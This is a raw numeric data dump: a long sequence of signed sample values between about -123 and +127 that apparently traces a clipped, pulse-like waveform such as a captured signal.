+-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-121 +-111 +-101 +-94 +-86 +-79 +-72 +-67 +-61 +-56 +-50 +-45 +-40 +-36 +-32 +-29 +-26 +-24 +-21 +-19 +-16 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-106 +-97 +-89 +-82 +-75 +-68 +-63 +-59 +-53 +-48 +-43 +-39 +-34 +-31 +-28 +-26 +-22 +-19 +-17 +-15 +-12 +-11 +-10 +-9 +-7 +-5 +-3 +-2 +0 +1 +2 +2 +3 +4 +5 +5 +6 +7 +7 +6 +7 +8 +9 +9 +10 +11 +11 +10 +11 +11 +12 +12 +12 +12 +13 +11 +11 +12 +14 +14 +14 +14 +14 +14 +13 +13 +14 +14 +14 +14 +14 +13 +13 +13 +15 +15 +14 +14 +14 +14 +14 +13 +14 +15 +15 +14 +14 +13 +13 +13 +14 +15 +15 +14 +14 +14 +15 +14 +15 +15 +15 +14 +14 +14 +14 +14 +14 +15 +16 +15 +14 +14 +15 +14 +14 +14 +15 +14 +14 +13 +14 +14 +14 +15 +15 +14 +14 +14 +15 +14 +14 +14 +15 +15 +14 +13 +14 +14 +15 +15 +16 +15 +15 +14 +15 +15 +15 +14 +15 +54 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +82 +-16 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-105 +-97 +-89 +-82 +-75 +-68 +-63 +-59 +-53 +-48 +-43 +-39 +-35 +-31 +-28 +-26 +-23 +-20 +-16 +-15 +-13 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-114 +-105 +-97 +-89 +-82 +-75 +-69 +-63 +-59 +-54 +-48 +-43 +-39 +-35 +-31 +-28 +-26 +-23 +-20 +-17 +-15 +-13 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +117 +110 +102 +96 +90 +84 +78 +74 +69 +66 +61 +57 +53 +51 +48 +45 +42 +40 +38 +36 +33 +32 +31 +29 +27 +27 +-57 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-92 +-84 +-78 +-71 +-66 +-60 +-55 +-49 +-44 +-39 +-36 +-33 +-30 +-26 +-23 +-21 +-18 +-15 +26 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-106 +-96 +-88 +-82 +-75 +-68 +-62 +-58 +-52 +-47 +-42 +-38 +-35 +-31 +-28 +-27 +-23 +-20 +-17 +-15 +-13 +-11 +-9 +-9 +-7 +-4 +-3 +-2 +0 +2 +2 +2 +4 +5 +5 +5 +6 +7 +8 +8 +8 +9 +10 +10 +11 +10 +10 +10 +11 +11 +12 +12 +12 +12 +13 +11 +11 +12 +13 +13 +14 +14 +14 +13 +13 +14 +14 +14 +14 +14 +14 +12 +13 +14 +14 +14 +15 +15 +14 +13 +14 +15 +14 +14 +14 +14 +14 +13 +13 +14 +15 +15 +15 +14 +15 +15 +15 +14 +15 +15 +15 +14 +14 +13 +14 +14 +14 +15 +15 +14 +14 +14 +15 +14 +15 +14 +15 +54 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +102 +96 +90 +84 +78 +74 +69 +66 +62 +59 +55 +51 +48 +45 +42 +40 +38 +36 +33 +32 +30 +29 +27 +26 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +40 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +117 +110 +102 +95 +89 +84 +77 +73 +68 +64 +60 +57 +53 +50 +47 +45 +43 +41 +39 +37 +34 +32 +30 +29 +27 +26 +24 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-109 +-100 +-92 +-84 +-77 +-71 +-67 +-60 +-54 +-48 +-43 +-38 +-35 +-32 +-29 +-26 +-24 +-21 +-18 +-16 +-14 +-11 +-11 +-9 +-7 +-5 +-4 +-2 +0 +0 +1 +2 +3 +4 +5 +6 +6 +6 +6 +7 +8 +9 +9 +10 +10 +10 +10 +11 +11 +12 +12 +11 +11 +12 +11 +11 +12 +13 +13 +13 +14 +14 +13 +13 +14 +14 +13 +14 +14 +14 +12 +13 +14 +15 +14 +14 +14 +15 +14 +14 +14 +15 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +102 +96 +89 +84 +78 +74 +69 +65 +61 +58 +54 +51 +48 +46 +42 +40 +38 +36 +34 +32 +31 +29 +27 +26 +25 +23 +22 +22 +21 +20 +19 +18 +18 +18 +16 +16 +16 +16 +16 +16 +15 +14 +14 +13 +12 +12 +12 +11 +11 +11 +11 +11 +10 +11 +11 +10 +-65 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-122 +-111 +-102 +-94 +-86 +-79 +-72 +-68 +-62 +-56 +-49 +-45 +-41 +-37 +-33 +-30 +-27 +-25 +-21 +-19 +-16 +24 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +68 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +64 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-108 +-99 +-90 +-83 +-76 +-70 +-63 +-60 +-54 +-48 +-43 +-39 +-35 +-31 +-28 +-26 +-23 +-20 +-18 +-15 +-12 +-10 +-9 +-9 +-7 +-4 +-2 +0 +2 +1 +2 +3 +3 +4 +6 +6 +6 +6 +7 +6 +7 +8 +10 +10 +10 +11 +12 +12 +12 +12 +12 +12 +12 +50 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +70 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-116 +-107 +-98 +-90 +-83 +-76 +-70 +-64 +-59 +-54 +-49 +-43 +-39 +-35 +-32 +-28 +-26 +-23 +-20 +-17 +-14 +-13 +-12 +-9 +-8 +-7 +-5 +-3 +-1 +0 +0 +2 +2 +4 +4 +5 +6 +7 +7 +7 +6 +8 +8 +9 +9 +11 +10 +10 +10 +11 +11 +11 +11 +12 +50 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +68 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +120 +112 +104 +98 +91 +84 +78 +74 +68 +64 +60 +57 +53 +50 +48 +46 +43 +41 +38 +36 +34 +32 +30 +29 +27 +26 +25 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-110 +-100 +-92 +-84 +-77 +-72 +-67 +-60 +-55 +-49 +-45 +-40 +-36 +-32 +-30 +-27 +-23 +-20 +-18 +-15 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +68 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +118 +110 +103 +97 +85 +79 +75 +70 +67 +62 +58 +54 +52 +49 +45 +42 +40 +38 +36 +33 +32 +31 +29 +27 +26 +25 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-93 +-85 +-77 +-71 +-66 +-61 +-55 +-49 +-44 +-40 +-36 +-32 +-30 +-26 +-23 +-20 +-18 +-16 +-14 +-11 +-11 +-10 +-7 +-4 +-3 +-2 +-1 +1 +2 +3 +3 +4 +5 +6 +6 +6 +6 +7 +7 +8 +9 +10 +10 +10 +10 +11 +11 +11 +12 +12 +12 +12 +11 +12 +12 +12 +13 +14 +13 +13 +12 +13 +13 +14 +13 +14 +14 +13 +12 +13 +14 +14 +14 +15 +15 +15 +14 +14 +14 +15 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +68 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-107 +-99 +-91 +-83 +-75 +-69 +-63 +-59 +-54 +-49 +-43 +-39 +-36 +-32 +-28 +-26 +-23 +-20 +-17 +-15 +-13 +-11 +-9 +-8 +-7 +-5 +-2 +-2 +0 +1 +2 +2 +3 +4 +6 +6 +6 +6 +7 +7 +7 +8 +10 +10 +10 +10 +11 +11 +11 +10 +11 +12 +13 +12 +12 +12 +12 +13 +13 +14 +14 +13 +13 +13 +14 +13 +13 +14 +14 +14 +13 +12 +13 +13 +14 +14 +15 +15 +14 +14 +14 +14 +14 +14 +15 +15 +15 +13 +14 +14 +15 +14 +15 +15 +15 +14 +14 +15 +15 +14 +15 +15 +15 +13 +14 +14 +15 +14 +15 +15 +15 +14 +14 +14 +15 +14 +14 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +117 +110 +103 +96 +89 +84 +79 +74 +68 +64 +60 +57 +53 +50 +47 +45 +42 +40 +37 +36 +34 +32 +30 +29 +28 +26 +-58 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +43 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +124 +115 +108 +101 +95 +88 +83 +78 +73 +68 +64 +60 +57 +53 +50 +47 +45 +42 +40 +37 +36 +34 +32 +30 +30 +28 +27 +25 +25 +-59 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +40 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +58 +-38 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +65 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +59 +-37 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +65 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +117 +110 +103 +97 +91 +86 +80 +74 +69 +65 +60 +57 +53 +50 +47 +45 +42 +40 +37 +36 +34 +32 +30 +29 +27 +26 +25 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +43 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +124 +115 +108 +101 +95 +88 +83 +77 +73 +67 +64 +60 +57 +53 +49 +47 +45 +42 +39 +37 +36 +33 +32 +30 +29 +27 +26 +25 +24 +-60 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-119 +-109 +-100 +-92 +-85 +-77 +-71 +-65 +-60 +-55 +-49 +-44 +-39 +-36 +-32 +-30 +-26 +-23 +-20 +-18 +-16 +-13 +-11 +-10 +-8 +-5 +-3 +-2 +-1 +0 +1 +1 +3 +3 +4 +4 +6 +5 +6 +6 +7 +7 +9 +10 +10 +10 +10 +10 +11 +11 +12 +12 +12 +12 +12 +12 +12 +12 +13 +14 +14 +13 +14 +14 +14 +14 +14 +14 +15 +14 +14 +13 +14 +14 +14 +15 +15 +15 +14 +14 +15 +14 +14 +14 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +126 +118 +110 +102 +96 +90 +84 +78 +74 +69 +65 +60 +57 +54 +51 +47 +45 +42 +40 +37 +36 +34 +32 +30 +29 +28 +26 +24 +23 +23 +22 +20 +20 +19 +19 +17 +17 +17 +16 +15 +15 +15 +15 +13 +13 +13 +13 +13 +14 +13 +12 +11 +12 +11 +11 +11 +10 +10 +11 +-64 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-120 +-111 +-102 +-94 +-86 +-78 +-72 +-67 +-61 +-55 +-49 +-44 +-40 +-37 +-33 +-30 +-27 +-24 +-20 +-18 +-15 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +68 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +66 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-121 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-108 +-100 +-91 +-83 +-76 +-70 +-64 +-59 +-54 +-49 +-44 +-39 +-35 +-32 +-29 +-26 +-23 +-21 +-18 +-15 +-12 +-11 +-10 +-9 +-6 +-5 +-3 +-1 +1 +1 +1 +2 +4 +4 +5 +6 +7 +7 +7 +7 +8 +8 +9 +10 +11 +10 +10 +10 +11 +11 +11 +12 +13 +52 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 +-17 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +69 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +60 +-36 +-122 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-118 +-108 +-99 +-90 +-83 +-76 +-69 +-63 +-59 +-54 +-48 +-43 +-38 +-35 +-31 +-28 +-25 +-23 +-20 +-17 +-15 +-13 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +82 +-17 +-104 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-117 +-107 +-98 +-89 +-82 +-75 +-69 +-62 +-58 +-54 +-48 +-42 +-38 +-34 +-31 +-28 +-25 +-23 +-20 +-17 +-15 +-13 +28 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +125 +116 +109 +102 +96 +89 +84 +78 +74 +70 +65 +60 +57 +54 +51 +47 +45 +42 +40 +37 +36 +34 +33 +30 +29 +28 +27 +25 +24 +23 +23 +21 +20 +19 +19 +18 +17 +16 +17 +16 +15 +14 +15 +14 +14 +13 +14 +13 +13 +12 +13 +12 +12 +11 +11 +11 +10 +10 +10 +10 +10 +9 +10 +10 +10 +9 +10 +10 +9 +9 +10 +10 +9 +9 +10 +9 +9 +9 +10 +9 +9 +9 +10 +9 +9 +8 +9 +9 +8 +8 +9 +9 +9 +9 +9 +9 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +9 +9 +10 +9 +9 +9 +10 +9 +9 +9 +9 +9 +9 +9 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +10 +9 +9 +9 +10 +9 +9 +9 +9 +9 +9 +9 +10 +9 +9 +9 +10 +9 +9 +9 +9 +9 +8 +8 +9 +9 +8 +8 +9 +9 +8 +8 +9 +9 +9 +8 +8 +9 +9 +8 +8 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +8 +8 +9 +9 +8 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +8 +8 +9 +10 +10 +10 +10 +9 +9 +8 +8 +8 +8 +8 +9 +8 +8 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +8 +8 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +8 +8 +9 +9 +8 +8 +9 +9 +8 +8 +9 +9 +8 +8 +9 +9 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +8 +9 +9 +8 +8 +9 +10 +10 +10 +9 +9 +9 +8 +8 +8 +7 +8 +8 +8 +8 +9 +8 +8 +8 +9 +8 +8 +8 +9 +9 +8 +8 +9 +10 +10 +9 +9 +9 +8 +8 +8 +8 +8 +8 +9 +9 +9 +9 +9 +9 +9 +9 +9 +8 +9 +9 +9 +8 +9 +9 +9 +-70 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-121 +-112 +-102 +-94 +-86 +-80 +-73 +-67 +-61 +-56 +-50 +-45 +-40 +-37 +-34 +-31 +-27 +-24 +-20 +-17 +-15 +25 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +80 +-18 +-105 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-123 +-115 +-106 +-97 +-88 +-81 +-73 +-68 +-63 +-58 +-53 +-48 +-43 +-39 +-34 +-31 +-27 +-25 +-22 +-19 +-16 +-14 +-13 +-10 +-8 +-9 +-7 +-5 +-2 +-2 +0 +0 +2 +2 +3 +4 +5 +6 +6 +6 +7 +7 +7 +8 +9 +10 +10 +10 +11 +11 +11 +11 +12 +11 +12 +12 +12 +11 +11 +12 +14 +13 +13 +13 +14 +13 +13 +14 +14 +13 +14 +14 +14 +13 +13 +14 +15 +14 +14 +14 +15 +14 +14 +14 +14 +15 +14 +14 +14 +13 +13 +14 +15 +15 +15 +14 +14 +14 +14 +14 +14 +15 +15 +14 +14 +14 +14 +14 +15 +15 +15 +15 +15 +15 +15 +14 +14 +15 +15 +14 +14 +13 +14 +15 +16 +16 +17 +17 +17 +16 +15 +15 +14 +14 +14 +13 +14 +12 +13 +14 +14 +14 +15 +15 +14 +15 +15 +14 +15 +15 +15 +53 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +127 +81 